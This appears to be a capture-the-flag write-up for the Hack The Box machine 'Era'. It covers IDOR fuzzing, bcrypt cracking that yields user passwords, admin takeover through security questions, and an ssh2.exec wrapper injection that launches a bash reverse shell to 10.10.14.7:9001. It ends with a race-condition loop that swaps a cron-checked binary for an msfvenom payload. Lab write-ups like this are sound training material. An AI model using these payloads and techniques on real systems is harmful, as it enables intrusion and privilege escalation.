This is a linux hard box focusing on SSRF which you can use in turn to trigger ssh2.exec. This executes on the box giving a reverse shell. On the box we escalate to eric with previously cracked hash. Using pspy, we find a binary running via cronjob. The binary objcopy is used to check a file, with in turn we replace with our malicious binary that upon execution gets us a shell as root.
Initial Nmap
1 2 3 4 5 6 7 8
PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.5 80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://era.htb/ Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP for smiles
Looking at FTP and trying anonymous logon get us nothing. Moving on.
HTTP
Scanning this site gives us the domain name era.htb we can add to our hosts file. Looking at the site nothing special.
We can scan for subdomains, which we get a hit on file.
From the looks its a storage management page were we can upload files. If we try register.php we get a page we can sign up.
Once done we get redirected to a login page, looking around we see a upload files tab. Lets try this.
Once we upload our file we get a link returned.
We should try fuzzing this as it reeks of IDOR(Insecure Direct Object Reference). We can send this to burpsuite, and try numbers from 1 to our id number (4672). We add the position, start the attack and look at our lengths. We can see off the bat, id number 54 has a different length. Looking at this reveals the site backup, which we download.
Source Code for Downloading - Admin
Looking into this zip file we see the download.php we just used. We can look at the source code to see how this works. Upon looking at it, we find this bit that works only for admins.
Putting these into a file and attempting to crack with john the ripper.
1 2 3 4 5 6 7 8 9 10 11
konoha# john --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords.txt hashes Using default input encoding: UTF-8 Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3]) Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096 Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status mustang (yuri) america (eric) 2g 0:00:00:23 0.02% (ETA: 2025-07-29 00:21) 0.08340g/s 54.04p/s 246.2c/s 246.2C/s moose..blahblah Use the "--show" option to display all of the cracked passwords reliably Session aborted
Security Questions
We saw a update security questions tab, since we have usernames lets try to reset the admin password.
After doing so we get this response.
Lets try to sign in as the admin now. Instead of using a password we can use the security questions we just updated.
After filling these in, we can login. Once the verify and login button is pressed we are redirected to our file storage dashboard.
Once there we see the signing and site backup zip files. We knew about the site backup. We have the source code which if we rememeber we have a little piece we can try now that we’re admin.
Exploiting the flaw in a new Era 😃🤣
So for this we are going to use the show parameter and the format parameter we saw from the download.php. Looking at the code if :// is used it will treat whatever is passed as a wrapper. We can try to get a reverse shell using the ssh2 library. Cool trick if I might add, first we have the password for yuri and eric we can try either, I’ll use yuri.
First we can copy the link and then go to it in our web browser, meanwhile intercepting with burpsuite. Then send it to repeater and add this to the request.
The URI starts with ssh2.exec, using the ssh library. Then we have “://yuri:mustang@127.0.0.1:22“ this part is the connection via localhost on port 22(ssh). Then we add our command we want to run, this being the “/bash+-c+’bash+-i+>%26+/dev/tcp/10.10.14.7/9001+0>%261;’“. Once ran we get a hang and a call back.
Ok, so we see that it runs objcopy to check monitor. When I was reseaching I came across a article talking about a race condition we could try to abuse. I came up with a very small script the will take my reverse shell binary I cooked up with msfvenom and the copy of monitor I made and continuously replace each other, hoping this will be enough to beat the race condition.
1 2 3 4 5 6 7 8 9 10 11
#!/bin/bash
TARGET_FILE="/opt/AV/periodic-checks/monitor"
LEGIT_FILE="/tmp/monitor" MAL_FILE="/tmp/lame"
whiletrue; do cp"$MAL_FILE""$TARGET_FILE" 2>/dev/null cp"$LEGIT_FILE""$TARGET_FILE" 2>/dev/null done
After getting a listener ready, we get a copy of monitor to /tmp and our malicous ELF binary over to the machine.
